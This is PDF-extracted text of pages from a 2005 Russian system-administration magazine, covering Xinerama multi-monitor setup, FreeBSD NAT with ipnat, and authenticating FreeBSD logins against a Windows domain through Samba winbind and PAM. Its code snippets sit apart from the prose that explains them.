EndSectionSection "Monitor"

Identifier "Monitor0"VendorName "Samsung"ModelName "Samsung SyncMaster 700IFT (CSH780B*)"DisplaySize 1024 768HorizSync 30.0 - 98.0VertRefresh 50.0 - 160.0ModeLine "1024x768" 135.9 1024 1104 1216 ↵↵↵↵↵

1392 768 769 772 814 -hsync +vsyncOption "dpms"

EndSectionSection "Monitor"

Page 21: 028 Системный Администратор 03 2005

19№3, март 2005

администрирование

поэтому не важно, PCI или AGP вы там напишете, это нуж-но для наглядности.

Замечание 6. Про несоответствие видеорежимов намониторах. При различных глубинах цветности на разныхмониторах X не запускаются. Например, если у вас однакарточка не поддерживает 24 бита цветности, а другая под-держивает, придётся снизить значение у последней. Еслиразрешение на каком-то мониторе меньше, то создаётсявиртуальный рабочий стол большего размера. При подве-дении курсора мыши к краю окна просмотра видимое полевместе с курсором начинает двигаться вплоть до противо-положной стороны виртуального экрана.

Замечание 7. Если режим Xinerama в последнем кон-фигурационном файле выключен, то пользователь видитдва рабочих «меню программ» и два рабочих стола, не свя-занных друг с другом. Фактически для пользователя мони-торы выглядят как два не связанных сеанса X. Единствен-ная связь между которыми – это то, что пользователь мо-жет перемещать курсор мышки из одного монитора в дру-гой. Несмотря на то, что курсор свободно путешествуетмежду рабочими столами разных видеокарт, окна и менюперетащить нельзя. Создание скриншота рабочего столадля обоих частей работает раздельно.

При включенном режиме Xinerama все три мониторарассматриваются как единый рабочий стол. Естественно,скриншот снимается один со всей рабочей области. Приэтом растянуть меню на все три монитора нельзя, а окнаможно. Либо меню находится на мониторе от S3 либо од-новременно на двух от Radeon.

Замечание 8. Всё написанное выше для Fedora Core 3справедливо для ASP Linux 10.

Надеюсь, что настройка X через правку xorg.conf не по-казалась вам сложной и при аналогичном подключениинескольких мониторов в вашей конфигурации к одной илиболее видеокартам не вызовет проблем.

Ссылки:1. Radeon VE Dual Display Support with Linux/XFree86: http://

www.polylith.com/~brendan/UnixBoxes/RadeonVE.html.2. Multiple Monitors with X Mini Guide: http://www.linux-

lookup.com/modules.php?op=modload&name=Sections&file=index&req=viewarticle&artid=13&page=1.

3. Настройка режима монитора в XFree86: http://www.inp.nsk.su/~buzykaev/xf_monitor.html, http://knot.pu.ru/faq/xfaq.html.

4. Связь между полосой пропускания, частотой кадров и ча-стотой горизонтальной развертки: http://www.samsung.ru/support/products/displays/faq/?id=114.

5. Another Quick How-To for Dual-X-Headed/Legged Linux:http://www.disjunkt.com/dualhead.

6. Из архива сообщений Re: [K12OSN] 1PC+4KVM=4users/PC: http://www.redhat.ru/archives/k12osn/2004-May/msg00260.html.

7. Matrox Graphics. Multi-display products: http://www.matrox.com/mga/multidisplay/product_chart.cfm.

8. Welcome to the Multi-display community: http://www.matrox.com/mga/multidisplay/md_testimonials.cfm.

9. Using Xinerama to MultiHead XFree86 V. 4.0+: http://www.tldp.org/HOWTO/Xinerama-HOWTO/index.html.

Page 22: 028 Системный Администратор 03 2005

20

администрирование

В одной из предыдущих статей [1] было рассмотрено пост-роение сервера NAT на основе FreeBSD и natd. Данная ста-тья будет посвящена другому средству – модулю ipnat, вхо-дящему в пакет IPFilter. Сам IPFilter уже рассматривался настраницах журнала [2].

Некоторые основополагающие моменты я повторю, что-бы сохранить целостность и самодостаточность этого ма-териала, а сосредоточимся мы именно на построении сер-вера NAT.

Во FreeBSD 5.3 IPFilter (ipf), входящий в состав систе-мы, может быть встроен в ядро, для чего ядро нужно пере-собрать с опциями IPFILTER и IPFILTER_LOG. Так же ipfможет быть запущен как модуль. Я воспользуюсь второйвозможностью.

Итак, ядро трогать не будем. Для работы ipnat фильтрipf должен быть настроен и запущен. В простейшем случаедостаточно запустить его с парой правил, разрешающихпрохождение любых пакетов, что может быть оправдано втом случае, если регулирование пакетов вы уже осуществ-ляете другим фильтром. Правила заносятся по умолчаниюв /etc/ipf.rules:

Запуск фильтра можно выполнить из командной строки:

Ключ -Fa очищает все ранее заданные правила и заг-ружает те, которые перечислены в конфигурационном фай-ле. Для автоматического запуска фильтра при перезагруз-ке добавьте опцию «ipfilter_enable = “YES”» в /etc/rc.conf.Если поддержка фильтра не включалась в ядро, в спискеподгруженных модулей появится модуль ipl.ko.

Аналогично правила трансляции адресов записывают-ся по умолчанию в файл /etc/ipnat.rules. Запуск ipnat вы-полняется командой:

Ключ -C очищает таблицу правил, ключ -F удаляет за-писи из таблицы трансляций. Поскольку ipnat является, посути, частью пакетного фильтра, то никакого перенаправ-ления трафика на вход этого NAT-сервера не требуется. Вхо-дящие пакеты сначала будут подвергаться трансляции(пройдут через правила ipnat), затем поступят на вход ipf.Исходящие пакеты, наоборот, сначала фильтруются на ipf,а что будет пропущено, подвергается трансляции в соот-ветствии с правилами ipnat.

FreeBSD TIPS: ИСПОЛЬЗОВАНИЕ ipnat

СЕРГЕЙ СУПРУНОВ

Ôàéë /etc/ipf.rulespass in from any to anypass out from any to any

# ipf -Fa -f /etc/ipf.rules

# ipnat -CF -f /etc/ipnat.rules

Page 23: 028 Системный Администратор 03 2005

21№3, март 2005

администрирование

Для автоматического запуска при перезагрузке в /etc/rc.conf добавьте строчку «ipnat_enable = “YES”».

Итак, приступим к рассмотрению правил трансляции. За-мечу, что, в отличие от ipfw, в ipf и ipnat, правила не нуме-руются, и их порядок определяется последовательностьюзагрузки, то есть местом в конфигурационном файле.

Собственно трансляция пакетов, исходящих с машин ло-кальной сети в Интернет (маскарадинг), осуществляетсяправилом map:

Читать его очень просто, почти как на естественном язы-ке: преобразовывать пакеты, проходящие через интерфейсrl0, с адресов, принадлежащих указанной подсети, на лю-бые адреса, заменив адрес отправителя указанным реаль-ным. Если конкретизация адресов назначения не требует-ся, можно использовать и упрощенный синтаксис:

Правило может быть дополнено некоторыми опциями,из которых наиболее часто используется portmap. Она кон-кретизирует, на какие номера портов отображать пакеты.Диапазон портов, которые разрешается использовать дляцелей трансляции, задается в виде begin:endN. Например,следующее правило позволяет использовать только TCP-порты с 10000 по 10999:

После символов «–>» может быть указан не только одинадрес, но и подсеть внешних адресов. В этом случае пра-вило map сможет использовать любой свободный адрес изуказанной подсети.

Для безусловной двунаправленной трансляции междувнутренним и внешним адресами используется правилоbimap:

Помимо трансляции исходящих пакетов все входящиепакеты, адресованные хосту 100.100.100.125, будут перенап-равляться на «внутреннюю» машину. Это правило позволитмашине с адресом 192.168.0.125 выглядеть снаружи так,как будто она имеет реальный адрес 100.100.100.125.

Если нужно пропускать пакеты, приходящие на опреде-ленные порты, внутрь локальной сети, например, если тамразмещен Web- или FTP-сервер, используются правила пе-ренаправления:

В этом случае TCP-пакеты, адресованные на 80-й портхоста 100.100.100.125, будут транслироваться на порт 8080машины, расположенной внутри локальной сети.

Одним из интересных свойств редиректа является воз-можность создавать балансировщик нагрузки между не-сколькими серверами, хотя и довольно примитивный. На-

пример, следующие правила будут поочередно перенаправ-лять входящие запросы то на один, то на другой сервер:

Опция round-robin заставляет динамически менять по-рядок правил таким образом, что эти правила срабатыва-ют по очереди.

Для контроля за работой ipnat используются два ключа:-s и -l. Первый выдает общую статистику работы NAT-сер-вера:

Ipnat со вторым ключом выводит список активных пра-вил и список активных в данный момент сеансов:

Дополнительные сведения можно, как обычно, получитьна страницах справочного руководства man ipnat(5), ipnat(1).

Замечу, что ipfw, natd, ipf, ipnat отлично уживаются вме-сте. Нужно только не забывать про особенности фильтров:ipfw срабатывает по первому совпадению, а ipf (без опцииquick в правиле) – по последнему. Ну и всегда следует иметьв виду порядок прохождения пакета через фильтры. Так,если поддержка ipf собрана в ядре, то независимо от того,как запущен ipfw, в первую очередь пакеты будут прохо-дить через правила ipf, а ipfw получит на вход только то,что будет им пропущено. Если же ipfw собран в ядре, а ipfподгружен как модуль, то правом первенства будет пользо-ваться ipfw.

Как natd, так и ipnat, отлично справляются с типовымизадачами трансляции адресов, и выбор между ними – ско-рее дело вкуса. В «экзотических» случаях могут понадо-биться уникальные свойства того или иного сервера. На-пример, средства проксирования у natd более развиты, чему ipnat, зато с помощью ipnat намного проще реализоватьтрансляцию различных групп адресов по разным правилам.Если ipnat способен решать те задачи, которые вам требу-ются, то, учитывая его «близость» к ядру и, следовательно,лучшее быстродействие, рекомендуется использовать этотсервер NAT. К тому же его конфигурация выглядит немно-го более удобной.

Литература:1. Супрунов С. FreeBSD tips: NAT по старинке. – журнал

«Системный администратор» №2, 2005 г.2. Ильченко Т. IPFilter с самого начала. – журнал «Систем-

ный администратор» №5, 2004 г.

rdr rl0 100.100.100.180/32 port 80 -> 192.168.0.80 ↵↵↵↵↵port 8080 tcp round-robin

rdr rl0 100.100.100.180/32 port 80 -> 192.168.0.81 ↵↵↵↵↵port 8080 tcp round-robin

# ipnat -smapped in 476 out 460

added 29 expired 27

no memory 0 bad nat 0

inuse 1

rules 1

wilds 0

# ipnat -lList of active MAP/Redirect filters:

map rl0 from 192.168.0.100/32 to any -> 100.100.100.100/32

List of active sessions:

MAP 192.168.0.100 1035 <- -> 100.100.100.100 1035 [64.12.26.148 443]

map rl0 from 192.168.0.0/24 to any -> 100.100.100.101/32

map rl0 192.168.0.0/24 -> 100.100.100.101/32

map rl0 192.168.0.0/24 -> 100.100.100.101/32 ↵↵↵↵↵portmap tcp 10000:10999

bimap rl0 192.168.0.125/32 -> 100.100.100.125/32

rdr rl0 100.100.100.180/32 port 80 -> 192.168.0.80 ↵↵↵↵↵port 8080 tcp

Page 24: 028 Системный Администратор 03 2005

22

администрирование

Постановка задачиПредположим, имеется некоторое количество компьютеров,объединенных в локальную сеть и включенных в одинMicrosoft-based домен с контроллером домена на базеWindows 2000 Server. Как известно, в такой конфигурациинет необходимости заводить пользователей на каждом изкомпьютеров – достаточно создать пользователя в доменеи можно с его учетной записью регистрироваться и рабо-тать на любом компьютере домена, если на то не установ-лено специальных ограничений. Теперь предположим, чтов этот домен (например, MYDOMAIN) необходимо добавитьрабочую станцию под управлением FreeBSD. Полноценноевзаимодействие с членами Microsoft-based домена FreeBSDвыполняет с помощью пакета Samba. Можно ли обойтисьбез создания локальных пользователей на FreeBSD и вмомент авторизации действовать так же, как рабочая стан-ция Microsoft Windows, – запрашивать список пользовате-лей с контроллера домена? До недавнего времени ответбыл однозначен: «Нельзя». Несмотря на наличие в систе-ме winbindd, который позволяет получать информацию опользователях домена, не было способов интегрироватьдоменных пользователей в систему и работать с ними так,как если бы они были локальными (хотя новая Samba 3.xпредоставляет такую возможность). Но с выходом FreeBSD5.x все изменилось в лучшую сторону.

Итак, задача: настроить систему таким образом, чтобыможно было регистрироваться в системе, а также заходитьпо ftp, ssh, kdm и использовать xlockmore но при этом несоздавать локального пользователя. Полигон: рабочая стан-ция под управлением FreeBSD 5.3-RELEASE с установлен-ной Samba 3.0.10, контроллер домена под управлениемWindows 2000 Server. В сети Microsoft Network рабочая стан-ция называется MYSTATION, контроллер домена – MYPDC.

Новые возможностиБлагодаря чему поставленная задача стала решаемой? Ре-шение задачи базируется на двух краеугольных камнях.

Во-первых, во FreeBSD 5.х наконец-то появилась под-держка NSS (Name Service Switching), благодаря чему те-перь возможно перенаправлять запросы программ, запра-шивающих информацию о пользователе, группе, компью-тере и т. д. Допустим, мы вводим команду id (выдать ин-формацию о пользователе) в системе, не входящей в до-мен Microsoft Windows:

Программа id вызывает системную функцию getuid() дляполучения информации о пользователе, логин которого за-дан в командной строке. Порядок получения информациифункцией getuid() во FreeBSD версий 4.х и 5.х приведен нарисунке.

Getuid() обращается к единственному источнику инфор-мации – локальной базе пользователей – файлу master.passwdдля получения данных и выдает ответ, показанный выше.Теперь мы вводим команду id в системе, которая подклю-чена к домену Microsoft Windows надлежащим образом:

Getuid() обращается к файлу nsswitch.conf, получает изнего список источников информации и последовательно об-ращаясь к каждому, опрашивает их на предмет полученияданных. И точно так же будет вести себя любая другая про-грамма, которой потребуется получить информацию о поль-зователе или, например, проверить пароль пользователя.

Во-вторых, это PAM (Pluggable Authentication Mechanism) –чрезвычайно мощный и столь же гибкий механизм, позволя-ющий реализовывать практически любые механизмы аутен-тификации пользователей любыми путями. Конечно, реали-зация PAM была и в 4.x. Но только в 5.x появилась возмож-ность использовать его для целей аутентификации из доме-на Microsoft. Файл /etc/pam.conf в FreeBSD 5.x был замененна каталог /etc/pam.d, в котором размещается по одномуфайлу на каждый сервис с именем, совпадающим с назва-нием сервиса. Таким образом, настройка FreeBSD для аутен-тификации из домена Microsoft Windows сводится к:! Настройке Samba для обеспечения возможности рабо-

тать с доменом Microsoft Windows.! Настройке PAM для обеспечения работоспособности

различных сервисов. Мы рассмотрим только нескольконаиболее часто используемых сервисов: login, kdm, ftp,ssh и xlock. При необходимости прочие сервисы могутбыть настроены по образцу.

Настройка Samba и NSSТак же как театр начинается с вешалки, так и представле-ние FreeBSD, как и любой другой UNIX-системы в сети Micro-soft Windows, начинается с настройки пакета Samba. Об этом

FreeBSD В ДОМЕНЕ Microsoft WindowsРАШИД АЧИЛОВ

> id user1uid=1001(user1) gid=999(user1) groups=999(user1), 0(wheel), 20(staff),

69(network), 70(pgsql)

> id user1uid=15020(user1) gid=15001(Domain Users) groups=15001 (Domain Users),

15011(Consultant users), 15014(LaserJet 1100 users), 15017(Production Users)

Page 25: 028 Системный Администратор 03 2005

23№3, март 2005

администрирование

написано достаточно как на английском, так и на русском. Смоей точки зрения лучшей является документация, создан-ная самими авторами пакета: «Using Samba», «Official Samba-3 HOWTO and reference Guide», «Samba-3 by Example».

Мы рассмотрим только настройки winbindd, необходи-мые для получения информации из домена MicrosoftWindows. Предполагается, что рабочая станция уже явля-ется членом домена.

Этот параметр определяет «домашний каталог» сетево-го пользователя. Winbindd для каждого пользователя, отсут-ствующего в локальной базе, создает запись, по форматусовпадающую с форматом записей файла master.passwd.Для заполнения полей, которые принципиально отсутству-ют в домене Microsoft Windows, winbindd использует этот иподобные ему другие параметры. Макрос %U, как это при-нято в пакете Samba, обозначает имя пользователя. Ката-лог должен существовать, пользователь должен иметь нанего необходимые права. При создании локальных пользо-вателей все эти действия выполняет команда adduser. Какобеспечить наличие домашнего каталога для сетевогопользователя? Microsoft Windows выполняет это действиеавтоматически. Стандартное решение мне неизвестно, не-стандартных же способов есть несколько:! Завести локального пользователя «_dummy» и вручную

копировать домашний каталог всем создаваемым се-тевым пользователям с последующим изменением вла-дельца файлов.

! Использовать возможность PAM session. Данный эле-мент настроек PAM обычно используется для занесе-ния записей о начале сессии в файлы utmp/wtmp.

Это второй параметр, который используется winbindd длязаполнения записи о сетевом пользователе. Если локаль-ная работа пользователей с данного компьютера не плани-руется, значением данного параметра можно выставить лю-бую неинтерактивную программу, обычно это /sbin/nologin.

Значения этих параметров очень важны для работыwinbindd. Они задают диапазоны идентификаторов пользо-вателей и групп, выделяемых для сетевых пользователей.В указанных диапазонах не должно существовать локаль-ных пользователей или пользователей YP/NIS.

Этот параметр определяет, как winbindd будет реагиро-вать на имя пользователя, не содержащее домена. Еслипараметр указан, то winbindd будет подставлять workgroup=<workgroup_or_domain_name> из smb.conf в качестве име-ни домена. Значение этого параметра практически не вли-яет на работу в сети Microsoft Windows, зато значительнооблегчает работу по протоколам ftp, ssh, электронной по-

чты и т. д., потому что не будет требоваться указание доме-на (user1 вместо MYDOMAIN\user1).

Этот параметр задает разделитель между доменом иименем пользователя. Значением по умолчанию является«\», но рекомендуется изменять параметр на что-нибудь дру-гое, особенно, если планируется использование запросовк winbindd в скриптах. Символ «\» воспринимается команд-ной оболочкой как служебный и обязательно должен быть«экранирован», то есть отмечен таким образом, чтобы ко-мандная оболочка воспринимала его как обычный символ.При этом «экранирование» может проводиться неоднократ-но и определить нужное число символов становится весь-ма нетривиальной задачей. Samba-3 HOWTO рекомендуетустанавливать еще два параметра:

По умолчанию эти значения уже установлены в «yes».Если база пользователей большая, рекомендуется отклю-чить перенумерацию, то есть установить значения в «no».

На что еще следует обратить внимание:! Samba по умолчанию собирается с winbindd, поэтому во

время сборки пакета не отключайте эту опцию!! По умолчанию файлы динамических библиотек nss_win-

bind.so, pam_winbind.so, nss_wins.so и pam_smbpass.so(если его сборка была запрошена опцией PAM_SMBPASS) помещаются в каталог /usr/local/lib. Если рас-положение каталогов меняется, необходимо убедиться,что каталог, в котором размещены данные файлы, вхо-дит в LDCONFIG_PATH.

! Берегите базу IDMAP, после того как были розданы пра-ва на локальные файлы (допустим, создан профильKDE, загружены документы, и т. д.). База IDMAP содер-жит соответствие между учетной записью домена и ло-кальным UID/GID, которые будут вписываться в правана файл, как владелец и группа владельцев. Если базаIDMAP была случайно утеряна, то при следующем об-ращении она будет создана заново, но соответствиемежду учетной записью и UID будет нарушено (первыйпользователь, о котором была запрошена информация,получает UID = idmap uid, второй = idmap uid + 1 и т. д.)и можно обнаружить, что ваш домашний каталог при-надлежит другому пользователю. База IDMAP содержит-ся в двух файлах – /var/db/samba/winbind_groups.tdb и/var/db/samba/winbind_idmap.tdb.

Настройка NSS выполняется правкой файла настройкиnsswitch.conf. В него следует добавить или изменить сле-дующие строчки:

Более подробную информацию о формате файлаnsswitch.conf и его возможностях можно получить из mannsswitch.conf и главы 21 Samba 3 HOWTO «Winbind: use ofDomain accounts».

template shell = /bin/tcsh

dmap gid = 15000-30000idmap uid = 15000-30000

winbind use default domain = true

winbind separator = +

template homedir = /usr/home/%U

winbind enum users = yeswinbind enum groups = yes

group: files winbindpasswd: files winbind

Page 26: 028 Системный Администратор 03 2005

24

администрирование

Как проверить, правильно ли все настроено?Пример правильного вывода команды id был приведен

выше. Если вместо этого появляется что-то типа:

при условии того, что пользователь user2 точно существу-ет, значит, что-то настроено неправильно. Некоторые слу-чаи, которые могут привести к такой ситуации, рассмотре-ны в разделе «Возможные ошибки».

Настройка PAMИтак, теперь мы можем получить информацию о пользова-телях домена и использовать их имена точно так же, какимена локальных пользователей и групп, например, дляраздачи прав:

Пользователи Windows сразу узнают группу DomainUsers – стандартную группу Microsoft Windows домена. Ноэто только еще половина дела. Регистрироваться с сете-вой учетной записью мы все еще не можем, потому чтослужбы аутентификации компьютера ничего не знают ни осети Microsoft, ни об NSS. Службы аутентификации исполь-зуют PAM и для решения второй части задачи следует со-здать необходимые конфигурационные файлы.

Что такое PAM«...Pluggable Authentication Modules (PAM) – это набор API,который позволяет системным администраторам добавлятьметоды аутентификации простым подключением новых PAM-модулей, и модифицировать политики аутентификации про-стым редактированием конфигурационных файлов...» – такописан PAM в руководстве пользователя FreeBSD. PAM былразработан в Sun Microsystems в 1995 г. и с тех пор не пре-терпел больших изменений. FreeBSD 5.х использует спе-цификацию OpenPAM (в то время как FreeBSD 4.х исполь-зовала Linux-PAM), но для его изучения годится любая дос-тупная документация.

Все системные службы по умолчанию используют PAM –регистрируетесь ли вы на консоли, заходите ли на компью-тер по ftp или ssh – соответствующая программа (login, ftp,sshd) считывает оглавление каталога /etc/pam.d, находитфайл с именем, совпадающим с именем сервиса и получа-ет из него информацию о том, какие модули и в каком по-рядке следует использовать для аутентификации пользо-вателя и как обрабатывать их ответы.

Перед тем как вносить какие-либо изменения в содер-жимое каталога /etc/pam.d, необходимо отметить следующиемоменты:! Конфигурация PAM довольно-таки запутанная и терми-

нологически неустоявшаяся область, поэтому настоя-тельно рекомендуется ознакомиться с какой-нибудь до-кументацией по PAM, перед тем как пытаться в нем что-то самостоятельно изменить.

! Обязательно сохраните копию каталога /etc/pam.d дотого, как начнете вносить в него изменения! (Этот советв неизменном виде кочует из одной статьи по PAM вдругую потому что авторы, как правило, на своей шку-ре убедились в его правильности).

! Для внесения изменений в конфигурацию не нужно ниперегружать систему, ни перезапускать какие-либо сер-висы – файл конфигурации сервиса считывается с дис-ка в момент запроса к данному сервису, поэтому всёвремя, пока идут эксперименты с PAM, держите откры-той как минимум одну консоль с правами root для вне-сения изменений, если что-то вдруг пойдет не так. Одноневерное движение – и можно уже не попасть в системуиначе как в однопользовательском режиме.

Настройка регистрации с консолиПервое, что необходимо настроить, – это возможность зай-ти на компьютер с консоли. Конфигурационный файл PAMдля регистрации на консоли уже существует. Он разбит надве части – файлы /etc/pam.d/login и /etc/pam.d/system. Файл/etc/pam.d/login нас не интересует, потому что содержиттолько стандартные строки и вызов файла /etc/pam.d/system. В файл /etc/pam.d/system вносим следующие изме-нения (в секцию auth):

Что нам это дает?Первая строка указывает PAM на необходимость исполь-

зования модуля pam_unix, который выполняет аутентифика-цию по обычному файлу /etc/master.passwd. Дополнительныефлаги указывают на то, что нужно запросить пароль у пользо-вателя и что ввод пустой строки допустим. Условие suffcientвызовет прекращение проверки в случае успешной аутенти-фикации. Таким образом, если пользователь присутствует вфайле /etc/master.passwd (например, root), дальнейшая про-верка по базе пользователей домена не выполняется.

Вторая строка определяет использование модуляpam_winbind, который выполняет аутентификацию по базедомена Microsoft Windows. Флаг параметров указывает нато, что нужно использовать пароль, введенный по запросупредыдущего модуля, а не спрашивать его еще раз. Усло-вие required устанавливает состояние «успешно, если сле-дующие успешны». Поскольку следующих модулей нет, ре-зультат аутентификации будет определяться модулемpam_winbind. В случае ввода правильного пароля предостав-ляется доступ в систему и на консоли (а также в файле /var/log/console, если помещение сообщений в этот файл настро-ено) появляется сообщение:

Если пароль указан неверно или указано неверное имяпользователя, pam_winbind выдает соответствующие сооб-щения:

> ls -ltotal 1468

drwx------ 3 shelton Domain Users 1024 19 Dec 14:27 Desktop/

drwx------ 18 shelton Domain Users 3584 13 Feb 22:54 Mail/

drwxr-xr-x 2 shelton Domain Users 1024 14 Jan 2002 RFC/

drwx------ 10 shelton Domain Users 1024 11 Feb 14:49 documents/

auth sufficient pam_unix.so ↵↵↵↵↵no_warn try_first_pass nullok

auth required pam_winbind.so ↵↵↵↵↵use_first_pass

Feb 7 18:06:31 sentry kernel: Feb 7 18:06:31 sentry pam_winbind[23340]:

user 'shelton' granted access

>id user2id: user2: no such user

Feb 12 19:52:03 sentry kernel: Feb 12 19:52:03 sentry pam_winbind[55953]:

request failed: No such user, PAM error was 13,

NT error was NT_STATUS_NO_SUCH_USER

Page 27: 028 Системный Администратор 03 2005

25№3, март 2005

администрирование

Настройка KDMЕсли компьютер используется как рабочая станция, то вто-рой по важности будет возможность запустить графичес-кую оболочку. В крайнем случае, конечно, можно восполь-зоваться «дедовским» методом и прямо из консольногообработчика команд запустить startx, прописав в .xinitrc«exec startkde» последней строчкой. Поэтому мы копиру-ем файл /etc/pam.d/xdm (стандартный) в /etc/rc.d/kdm ивносим в него изменения, аналогичные описанным выше.После внесения изменений секция auth-файла /etc/pam.d/kdm должна выглядеть так:

Логика работы аутентификаторов будет в точности совпа-дать с логикой работы, описанной в предыдущем разделе.

Настройка SSHПри настройке SSH я позволил себе немножко схитрить. Нестал настраивать PAM для SSH, а вместо этого воспользо-вался возможностью SSH-аутентификации по публичномуключу. Поскольку SSH использует собственный переченьметодов аутентификации, в котором метод publickey идет дометода password, проверка доступа с использованием PAMв таком случае не используется. Порядок настройки аутен-тификации по публичному ключу изложен в любой докумен-тации по SSH, а также в статье «Копирование файлов в ав-томатическом режиме с множества компьютеров через SSH»,опубликованной в журнале №12, 2004 г. Если же использо-вать методы аутентификации, основанные на PAM, то необ-ходимо создать файл /etc/pam.d/ssh2 (можно скопироватьстандартный файл, например, xdm), в который вписать сек-цию auth приведенную выше, последовательность вызова мо-дулей проверки доступа. Естественно, SSH должен быть со-бран с поддержкой PAM. Кроме того, конфигурационныйфайл сервера должен включать следующие строчки:

а конфигурационный файл клиента:

Настройка FTPВ качестве FTP-сервера я использую ProFTPd из порта ftp/proftpd. Поддержка PAM в нем включена по умолчанию. Дляее использования нужно добавить в конфигурационныйфайл сервера proftpd.conf строчку:

Для включения сервиса proftpd создать файл /etc/pam.d/proftpd (можно скопировать стандартный файл ftp), дора-ботать его так, как описано в разделе «Настройка регист-рации с консоли». PAM не требует перезагрузки каких-либодемонов, поэтому проверить работоспособность конфигу-рации можно немедленно:

При этом на консоли отображается сообщение pam_winbind о предоставлении доступа, приводимое выше, а вфайле /var/log/ftpd – регистрация обычного ftp-сеанса.

Настройка программы xlockmoreПоследним рассмотренным примером будет широко изве-стная программа блокировки экрана xlockmore, выводящаяпри этом различные заставки. Xlockmore содержит около50 различных заставок, в том числе трехмерных. При за-пуске блокируются клавиатура и экран, и выводится зас-тавка во время неактивности и пояснительный текст принажатии любой клавиши. (Внизу отображается содержимоефайла .signature, если он присутствует в домашнем ката-логе). Для разблокировки экрана следует ввести пароль,который программа проверяет либо по локальной базепользователей, либо с использованием PAM.

Xlockmore по умолчанию не использует PAM. Для вклю-чения его использования необходимо дописать в Makefileпорта в строчку CONFIGURE_ARGS ключ --enable-pam и пе-ресобрать программу. При этом следует иметь в виду, чтоключи --enable-pam и --with-xlock-group почему-то являютсявзаимоисключающими – при их одновременном разреше-нии сборка программы завершается с ошибкой.

Для использования PAM следует создать файл /etc/pam.d/xlock (можно скопировать стандартный файл xdm) иизменить его, как показано в разделе «Настройка регист-рации с консоли». Следует учитывать то, что программапропускает только нажатие клавиши переключения раскла-док, при этом факт переключения раскладки нигде не ото-бражается, все остальные (в том числе Enter, ESC и пр.) –интерпретируются как часть пароля!

Дополнительное ограничениеТеперь мы можем регистрироваться в системе с доменнойучетной записью. Но ведь теперь это же могут делать и всепользователи домена! Такая свобода нам вовсе ни к чему,поэтому настроим дополнительное ограничение – возмож-ность использования некоторого сервиса только членамопределенной локальной группы. В этом нам опять помо-жет PAM.

Существует стандартный модуль pam_group, которыйрешает именно такую задачу, – аутентификация успешна,только если пользователь входит в некую локальную груп-пу. Если его включить в цепочку аутентификаторов, зада-ча должна быть решена.

# authauth required pam_nologin.so no_warnauth sufficient pam_unix.so ↵↵↵↵↵

no_warn try_first_pass nullokauth required pam_winbind.so ↵↵↵↵↵

use_first_pass

AllowedAuthentications keyboard-interactiveAuthKbdInt.Optional pam

AllowedAuthentications keyboard-interactive

AuthPAM on

Connected to localhost.granch.ru.

220 Private FTP server by some porgrammer from Granch Ltd.

Name (localhost:shelton): shelton

331 Password required for shelton.

Password: ********

230 User shelton logged in.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp>

Feb 14 09:04:16 sentry kernel: Feb 14 09:04:16 sentry pam_winbind[43263]:

request failed: Wrong Password, PAM error was 9,

NT error was NT_STATUS_WRONG_PASSWORD

Feb 14 09:04:16 sentry kernel: Feb 14 09:04:16 sentry pam_winbind[43263]:

user `shelton' denied access (incorrect password or invalid membership)

Page 28: 028 Системный Администратор 03 2005

26

администрирование

На практике все оказалось не так-то просто. Модуль по-чему-то упорно отказывался работать, несмотря на явнуюправильность задания параметра. После некоторого иссле-дования был создан патч для модуля, после наложения ко-торого все начинает работать, как ожидалось. Патч приве-ден ниже:

Итоговая логика работы аутентификаторов такова (напримере файла для сервиса kdm):

Если существует файл /var/run/nologin (это проверяетсямодулем pam_nologin), то доступ будет запрещен, незави-симо от результата работы прочих модулей (required). Еслиpam_nologin разрешает доступ, то устанавливается состо-яние «разрешить доступ, если не было запретов от другихмодулей».

Если pam_unix разрешает доступ (это означает, чтопользователь существует в локальной базе пользователей),то обработка цепочки прекращается, доступ будет предос-тавлен. Иначе результат pam_unix игнорируется (sufficient).

Если пользователь присутствует в локальной группеntstaff, pam_group разрешает доступ, и состояние «разре-шить доступ, если не было запретов от других модулей»сохраняется. Иначе же доступ будет запрещен, независи-мо от результата работы прочих модулей (required).

Если pam_winbind разрешает доступ и состояние «раз-решить доступ, если не было запретов от других модулей»сохранилось, то доступ будет предоставлен, в противномслучае доступ предоставлен не будет. Иначе говоря, еслиприсутствуют модули с условием required, то результат ихработы обьединяется по «и» – доступ будет предоставлен,только если все модули предоставили доступ.

Возможные ошибки

Ошибки WinbinddЕсли настройка winbindd была выполнена, но команда iduser2 не выдает информацию о группах, в которые входитпользователь, а выдает что-то типа:

следует проверить следующие вещи:! winbindd запущен (несмотря на всю тривиальность дан-

ного совета);

! winbindd настроен правильно (параметры template shell,template homedir, idmap uid, idmap gid не имеют значе-ний по умолчанию!);

! команды wbinfo -p и wbinfo -t выдают успешные резуль-таты (подробнее см. man wbinfo);

! компьютер входит в домен;! доступен как минимум один контроллер домена, если

указано password server = * или компьютер, указанныйкак сервер паролей в параметре password server;

! каталог, в котором находится файл nss_winbind.so при-сутствует в переменной LDCONFIG_PATH (в особенно-сти если это нестандартный каталог);

! отсутствие сообщений об ошибках в файлах log.smbd,log.nmbd и log.winbindd, а также на консоли (например,файл nss_wins.so, предназначенный для поиска компь-ютеров по NetBIOS-имени, запустить не удалось из-запостоянной непонятной ошибки).

Ошибки PAMОшибки PAM диагностировать значительно труднее, потомучто практически отсутствуют средства их обнаружения. Длядиагностирования работы цепочек можно использовать мо-дуль pam_echo, который выводит на экран передаваемые емупараметры (а также значения макроподстановок. Что мож-но получить через макросы, указано в man pam_echo).

С чем могут быть связаны ошибки PAМ:! каталог с файлом pam_winbind.so отсутствует в пере-

менной LDCONFIG_PATH;! неверные условия для какого-либо модуля из цепочки;! неверное построение цепочки.

Необходимо точное понимание того, как условия required,requisute, sufficient и прочие воздействуют на цепочку. Не-верное построение цепочки может привести к тому, что до-ступ не будет предоставлен при правильных условиях илибудет предоставлен при неверных условиях.

ЗаключениеДанная статья рассматривает как на одну небольшую сту-пеньку приблизить ваш компьютер к «FreeBSD Desktop».Исключение необходимости создания локального юзера дляработы за компьютером, входящим в домен MicrosoftWindows – маленький, но полезный шаг в этом направле-нии.

Литература:1. http://www.freebsd.org/doc/en_US.ISO8859-1/articles/pam/

article.html – Pluggable Authentication Modules by Dag-Erling Smorgrav, 2003 г.

2. http://www.onlamp.com/pub/a/bsd/2003/02/06/FreeBSD_Basics.html – PAM by Dru Lavinge, 2003 г.

3. The Offifical Samba-3 HOWTO and reference guide. JelmerR. Vernooij, John H. Terpstra, Gerald (Jerry) Carter, 2004 г.

